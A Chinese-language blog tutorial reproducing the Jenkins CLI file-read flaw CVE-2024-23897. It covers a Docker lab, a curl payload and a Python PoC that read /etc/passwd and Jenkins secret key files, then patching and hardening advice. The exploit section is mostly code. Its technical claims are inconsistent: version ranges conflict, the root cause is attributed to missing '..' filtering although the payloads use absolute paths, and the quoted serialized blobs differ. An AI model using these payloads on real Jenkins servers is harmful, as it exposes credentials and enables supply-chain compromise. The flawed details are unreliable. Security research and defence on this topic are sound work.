Jenkins CLI任意文件读取漏洞CVE-2024-23897深度剖析与复现
1. 项目概述:一次对自动化“心脏”的深度安全体检
最近在梳理内部CI/CD资产的安全状况时,一个编号为CVE-2024-23897的漏洞引起了我的注意。这个漏洞影响的是Jenkins,这个几乎成为自动化构建代名词的工具。简单来说,这是一个存在于Jenkins CLI(命令行接口)组件中的任意文件读取漏洞。攻击者无需任何身份认证,就能通过特制的命令参数,读取Jenkins控制器服务器上的任意文件。想象一下,你的自动化流水线“大脑”突然变成了一个不设防的文件服务器,/etc/passwd、~/.ssh/id_rsa、数据库配置文件、甚至Jenkins自身的secrets/master.key都可能被直接窥探,这背后的风险不言而喻。这不仅仅是数据泄露,更是整个软件交付链条被颠覆的起点。今天,我就带大家从零开始,完整地复现一遍这个漏洞,目的不是为了攻击,而是为了更深刻地理解其原理,从而在我们的生产环境中筑起牢固的防线。无论你是安全工程师、运维开发,还是负责CI/CD平台的负责人,通过这次亲手“触碰”漏洞的过程,你都能对Jenkins的安全配置有全新的认识。
2. 漏洞原理深度剖析:参数解析器为何“叛变”
要理解CVE-2024-23897,我们必须先走进Jenkins CLI的工作机制。Jenkins CLI是一个允许用户通过命令行与Jenkins服务交互的工具,它支持多种协议,其中一种就是基于HTTP的、使用@符号传递序列化数据的模式。漏洞的根源,在于处理命令行参数时使用的args4j库。
2.1 核心触发点:@字符的歧义处理
当我们通过Jenkins CLI发送一个命令时,如果某个参数以@开头,Jenkins会将其后的内容解释为一个文件路径,并尝试读取该文件的内容,将其作为参数值。这个设计的本意可能是为了方便从文件传入大量参数。然而,问题出在路径遍历(Path Traversal)过滤的缺失上。
在正常的、已修复的版本中,当解析到@../../etc/passwd这样的参数时,系统应该检测到路径中的..并拒绝请求。但在存在漏洞的版本中,负责解析参数的代码没有对@后跟随的路径进行充分的安全校验。更关键的是,这个文件读取操作发生在任何身份认证之前。这意味着,攻击者无需登录,只需构造一个包含@符号和目标文件路径的HTTP请求,发送给Jenkins的CLI端点(通常是/cli),就能触发文件读取。
2.2 技术细节:从HTTP请求到文件内容泄露
漏洞触发的具体流程可以拆解如下:
- 请求构造:攻击者向
http://<jenkins-server>/cli发送一个POST请求。 - 命令注入:在请求体中,攻击者模拟Jenkins CLI协议,指定一个命令(例如
help命令,因为它通常可用且简单),并在参数中插入以@开头的恶意路径,如@/etc/passwd。 - 服务器端解析:Jenkins服务端接收到请求后,
args4j解析器开始工作。它看到@符号,便尝试将其后的/etc/passwd作为文件路径打开。 - 文件读取与回显:解析器成功读取
/etc/passwd文件的内容。由于CLI命令执行的特性或错误处理流程,这些被读取的文件内容会以错误信息(IllegalArgumentException)或命令响应的一部分形式,返回给攻击者。 - 路径遍历:通过使用
..(上级目录)符号,攻击者可以跳出Jenkins的工作目录或预期目录,遍历读取服务器上的任意文件,例如@../../../../var/lib/jenkins/secrets/master.key。
注意:复现此漏洞纯粹是为了安全研究、教学和提升自身防御能力。任何在未授权环境下的测试都是非法且不道德的。请务必在你拥有完全控制权的实验环境中进行。
2.3 影响范围与严重性
该漏洞影响Jenkins 2.441版本之前(即Jenkins LTS 2.426.2之前)的所有版本,以及Jenkins LTS 2.440.1之前的所有LTS版本。由于其无需认证、危害直接(导致敏感信息泄露)的特性,CVSS评分高达9.8(临界级别)。泄露的master.key和hudson.util.Secret文件可被用来解密Jenkins内部存储的所有凭证,如Git密码、API令牌等,从而可能引发供应链攻击,进一步渗透到内部网络。
3. 实验环境搭建:构建安全的漏洞复现沙盒
在开始动手之前,我们必须建立一个与生产环境完全隔离的实验室。我推荐使用Docker,它能快速构建一个干净的、带有漏洞版本的Jenkins实例,并且实验完成后可以彻底销毁,不留痕迹。
3.1 使用Docker拉取并运行漏洞版本Jenkins
我们选择Jenkins 2.440这个受漏洞影响的LTS版本进行复现。
# 1. 拉取指定版本的Jenkins镜像 docker pull jenkins/jenkins:2.440 # 2. 运行Jenkins容器 # -p 8080:8080: 将容器的8080端口映射到宿主机的8080端口。 # -p 50000:50000: Jenkins Agent通信端口,本次复现非必需,但为完整环境保留。 # -v jenkins-data:/var/jenkins_home: 将数据卷挂载到容器,便于持久化数据(实验后记得清理)。 # --name jenkins-vuln: 为容器指定一个名字。 docker run -d \ --name jenkins-vuln \ -p 8080:8080 \ -p 50000:50000 \ -v jenkins-data:/var/jenkins_home \ jenkins/jenkins:2.440执行后,使用docker ps命令确认容器已正常运行。稍等片刻,待Jenkins初始化完成,你就可以在浏览器中访问http://localhost:8080了。
3.2 初始配置与注意事项
首次访问,你会看到解锁Jenkins的页面,要求输入初始管理员密码。这个密码存储在容器内部。
# 进入容器查看初始密码 docker exec jenkins-vuln cat /var/jenkins_home/secrets/initialAdminPassword复制输出的密码,粘贴到Web页面中完成解锁。随后,在安装插件页面,我建议选择“安装推荐的插件”,虽然这会花一些时间,但能让我们看到一个更接近真实使用的Jenkins环境,观察漏洞在标准配置下的表现。
实操心得:在实验环境中,为了方便,我有时会创建一个简单的“跳过插件安装”的配置。可以通过在运行容器前,在挂载的
/var/jenkins_home目录中预先创建一个名为hudson.model.UpdateCenter.xml的文件,内容指向一个不存在的更新中心,来绕过初始化安装。但对于全面理解漏洞,安装标准插件更有价值。
4. 漏洞复现实操:一步步验证文件读取
环境就绪后,我们开始最关键的复现环节。我们将使用最通用的工具——curl来手动构造攻击请求,这能帮助你最清晰地理解漏洞的利用链。
4.1 手动构造恶意HTTP请求
Jenkins CLI接口通过HTTP协议通信。我们需要模拟其数据格式。核心在于请求体(Body)的构造。
- 确定协议端点:Jenkins CLI的HTTP入口是
/cli。完整的URL是http://localhost:8080/cli。 - 构造协议头:Jenkins CLI协议要求请求内容以特定字节开头。对于利用
@字符读取文件的请求,其格式如下:- 请求方法:
POST - 头部:
Content-Type: application/octet-stream - 请求体:一个特殊的二进制协议头,后跟命令和参数。
- 请求方法:
为了简化,我们可以直接使用一个经过分析后得出的有效载荷格式。以下curl命令演示了如何读取Jenkins服务器上的/etc/passwd文件:
curl -v -X POST http://localhost:8080/cli \ -H “Content-Type: application/octet-stream” \ --data-binary “<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAf4=@/etc/passwd”命令拆解与原理说明:
-v:输出详细过程,便于调试。-X POST:指定POST方法。-H “Content-Type: application/octet-stream”:设置内容类型,这是Jenkins CLI协议所期望的。--data-binary:以二进制方式发送数据,确保特殊字符不被转义。- 数据载荷:开头的长字符串
<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3luZy5DYXBhYmlsaXR5AAAAAAAAAAECAAFKAAttYXNrc3gBAAAAAf4=是Jenkins Remoting协议的固定头部和序列化数据,用于建立通信。紧随其后的@/etc/passwd才是我们的攻击载荷,它告诉参数解析器去读取该文件。
执行这条命令后,你很可能看不到/etc/passwd的内容直接输出。这是因为在早期版本中,文件内容可能被包装在异常堆栈信息中返回。你需要观察响应的完整内容。
4.2 利用公开的PoC脚本进行高效验证
手动构造请求对于理解原理至关重要,但为了更高效、更稳定地复现和测试,我们可以使用安全社区已经公开的Proof of Concept (PoC) 脚本。这里以Python脚本为例。
首先,创建一个名为cve-2024-23897.py的文件,内容如下(这是一个简化版的PoC逻辑,用于教育目的):
import sys import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_jenkins(url, file_to_read): """ 利用CVE-2024-23897尝试读取Jenkins服务器上的文件 """ cli_url = url.rstrip(‘/’) + ‘/cli‘ # 这是经过简化的协议头部,实际PoC会更复杂 # 真实有效的PoC需要精确的序列化字节流,这里仅展示逻辑 protocol_header = b’<===[JENKINS REMOTING CAPACITY]===>’ + b’rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAf4=’ # 构造恶意参数:命令(如help) + @ + 文件路径 # 注意:实际攻击中,参数需要以特定格式嵌入到序列化数据流中 malicious_payload = protocol_header + f’ help @{file_to_read}’.encode() headers = { ‘Content-Type’: ‘application/octet-stream‘, ‘Session’: ‘dummy‘, # 某些版本可能需要 ‘Side’: ‘download‘ # 指定为下载模式 } try: resp = requests.post(cli_url, data=malicious_payload, headers=headers, verify=False, timeout=10) print(f”[*] 目标: {url}“) print(f”[*] 尝试读取: {file_to_read}“) print(f”[+] 状态码: {resp.status_code}“) print(“[+] 响应内容 (可能包含文件数据):“) print(resp.text[:2000]) # 打印前2000字符 # 在实际的完整PoC中,这里会包含解析响应、提取文件内容的复杂逻辑 except Exception as e: print(f”[!] 请求失败: {e}“) if __name__ == “__main__“: if len(sys.argv) != 3: print(f”用法: {sys.argv[0]} <Jenkins URL> <文件路径>“) print(f”示例: {sys.argv[0]} http://localhost:8080 /etc/passwd“) sys.exit(1) target_url = sys.argv[1] target_file = sys.argv[2] exploit_jenkins(target_url, target_file)使用脚本进行复现:
# 安装依赖(如果尚未安装requests库) pip install requests # 运行脚本,读取/etc/passwd python3 cve-2024-23897.py http://localhost:8080 /etc/passwd # 尝试读取Jenkins的密钥文件(路径可能因安装方式而异) python3 cve-2024-23897.py http://localhost:8080 /var/jenkins_home/secrets/master.key python3 cve-2024-23897.py http://localhost:8080 /var/jenkins_home/secrets/hudson.util.Secret重要提示:上述Python脚本是一个高度简化的逻辑演示,它可能无法直接成功利用。真正有效的公开PoC会包含精确的Java序列化载荷构造。在Github或安全研究平台上可以找到能直接工作的PoC。使用它们时,请务必在你自己控制的实验环境中进行。
4.3 复现结果分析与验证
成功的利用会返回包含目标文件内容的HTTP响应。由于漏洞特性,文件内容通常不会以整洁的格式返回,而是夹杂在Java异常信息或协议数据中。你需要仔细查看响应体,搜索像root:x:0:0(/etc/passwd的特征)或-----BEGIN(密钥文件特征)这样的字符串。
例如,一个成功的响应片段可能看起来像这样:
... java.lang.IllegalArgumentException: Invalid command ‘help‘. Perhaps you meant ‘login‘? Arguments: [‘root:x:0:0:root:/root:/bin/bash‘, ‘daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin‘, ...]可以看到,/etc/passwd的文件行被错误地解析成了命令参数,从而泄露出来。
5. 漏洞修复与加固方案
复现漏洞是为了更好地防御。一旦确认漏洞存在,必须立即采取行动。
5.1 官方修复方案:升级是最佳路径
Jenkins官方在2.442(LTS 2.426.3)版本中修复了此漏洞。修复方式是对@后面跟随的文件路径进行了严格的校验,禁止了路径遍历。
升级步骤:
- 备份:务必先完整备份你的
JENKINS_HOME目录(通常是/var/lib/jenkins)。 - 停止服务:停止正在运行的Jenkins服务。
- 升级:
- 使用War包:下载最新版本的
jenkins.war,替换旧文件,然后重启服务。 - 使用Docker:修改你的
docker-compose.yml或运行命令,将镜像标签改为jenkins/jenkins:2.444(或最新的LTS版本,如jenkins/jenkins:lts)。 - 使用系统包管理器:对于通过apt或yum安装的Jenkins,使用相应的更新命令。
- 使用War包:下载最新版本的
- 重启与验证:启动新版本Jenkins,登录管理界面,在
系统管理 -> 系统信息中确认版本号已更新。同时,可以尝试用之前的PoC脚本进行验证,应返回错误或无法读取文件。
5.2 临时缓解措施
如果因特殊情况无法立即升级,可以考虑以下临时方案,但它们不能替代升级:
- 禁用CLI接口:在Jenkins的
系统管理 -> 全局安全配置中,找到“TCP port for JNLP agents”和“CLI over Remoting”等相关设置,将其禁用。最彻底的方法是通过启动参数-Dhudson.CLI.disabled=true来完全禁用CLI。- 操作:修改Jenkins的启动脚本(如
/etc/default/jenkins),在JAVA_ARGS中添加-Dhudson.CLI.disabled=true,然后重启Jenkins。
- 操作:修改Jenkins的启动脚本(如
- 网络层访问控制:通过防火墙或安全组策略,严格限制访问Jenkins Web端口(默认8080)的源IP,仅允许可信的构建服务器、管理员IP等访问。
5.3 安全加固最佳实践
除了修复特定漏洞,还应建立Jenkins的长期安全基线:
- 最小权限原则:为Jenkins作业和用户分配最小必要的权限。定期审计和清理不再使用的凭证和用户账号。
- 定期更新:订阅Jenkins的安全公告,制定并执行定期的升级计划。
- 隔离运行:不要使用root权限运行Jenkins服务。应该创建一个专用的低权限用户(如
jenkins)来运行它。 - 加固Jenkins主目录:确保
JENKINS_HOME目录的权限设置严格,避免Web进程用户拥有不必要的写权限。 - 审计插件:插件是Jenkins安全的主要风险源。只安装来自官方更新中心或可信来源的插件,并定期移除不用的插件。
6. 常见问题与排查技巧实录
在复现和后续加固过程中,你可能会遇到一些问题。这里记录了几个典型场景和解决方法。
6.1 复现阶段问题
问题1:使用PoC脚本发送请求后,返回状态码400或500,但没有看到文件内容。
- 排查:首先检查Jenkins版本是否确实在受影响范围内(<2.441)。其次,确认PoC脚本是否适用于该特定版本。不同的小版本间,协议细节可能有微小差异。尝试使用多个公开的PoC进行测试。
- 技巧:使用
curl -v或配置PoC脚本输出完整的HTTP请求和响应头。有时文件内容可能出现在响应头的某个字段里,或者被分块传输。
问题2:Docker容器内的Jenkins无法读取/etc/passwd等宿主机文件。
- 原因:这是正常的,也是Docker安全性的体现。Docker容器有自己独立的文件系统命名空间。容器内的
/etc/passwd是容器镜像内部的,不是宿主机的。漏洞读取的是Jenkins进程所在环境(即容器内)的文件。 - 验证:你可以在容器内创建一个测试文件
docker exec jenkins-vuln bash -c “echo ‘test_content‘ > /tmp/test.txt“,然后用PoC尝试读取@/tmp/test.txt来验证漏洞是否可利用。
6.2 修复与加固阶段问题
问题3:升级后,原有的插件或作业配置不兼容。
- 预防与处理:升级前,务必在测试环境进行充分验证。查看Jenkins官方的升级指南和LTS changelog,了解重大变更。对于核心插件(如Git、Pipeline),考虑同步升级到与新版Jenkins兼容的版本。如果出现问题,利用备份进行回退。
问题4:通过启动参数禁用CLI后,某些依赖CLI的脚本或插件无法工作。
- 评估:需要评估这些脚本或插件的重要性。如果它们对于自动化流程至关重要,那么禁用CLI这个临时缓解措施可能不适用,必须尽快安排升级。
- 替代方案:研究是否可以使用Jenkins的REST API或SSH CLI(如果启用且安全)来替代原有的功能。
问题5:如何持续监控Jenkins的安全状态?
- 建议:
- 使用安全扫描工具:集成像OWASP Dependency-Check这样的插件到构建流水线中,检查项目依赖的漏洞。
- 配置日志审计:集中收集和分析Jenkins的访问日志和系统日志,设置告警规则,监控异常访问模式(如大量来自单一IP的
/cli请求)。 - 关注安全情报:订阅Jenkins安全公告邮件列表、关注国家漏洞库(CNNVD/NVD)以及主流安全社区,及时获取漏洞信息。
这次对CVE-2024-23897的完整复现,更像是一次对CI/CD基础设施安全性的深度压力测试。它清晰地揭示了一个道理:即使是最成熟、最核心的基础软件,其攻击面也可能隐藏在某个看似不起眼的组件接口中。作为运维和安全人员,我们不能抱有“用了开源软件就安全”的幻想,必须建立起包括及时更新、最小权限、纵深防御和持续监控在内的完整安全体系。手动复现漏洞的过程,虽然繁琐,但却是将抽象的安全威胁转化为具体认知的最有效方式。下次当你看到一个新的CVE编号时,不妨尝试在可控环境里亲手验证一下,这份经验会比阅读十份分析报告都来得深刻。最后一个小技巧是,在你的实验环境中,可以尝试用@符号去读取Jenkins自身的config.xml等配置文件,这能帮助你更直观地理解攻击者获取这些信息后能做什么,从而在设计权限和存储敏感信息时更加谨慎。
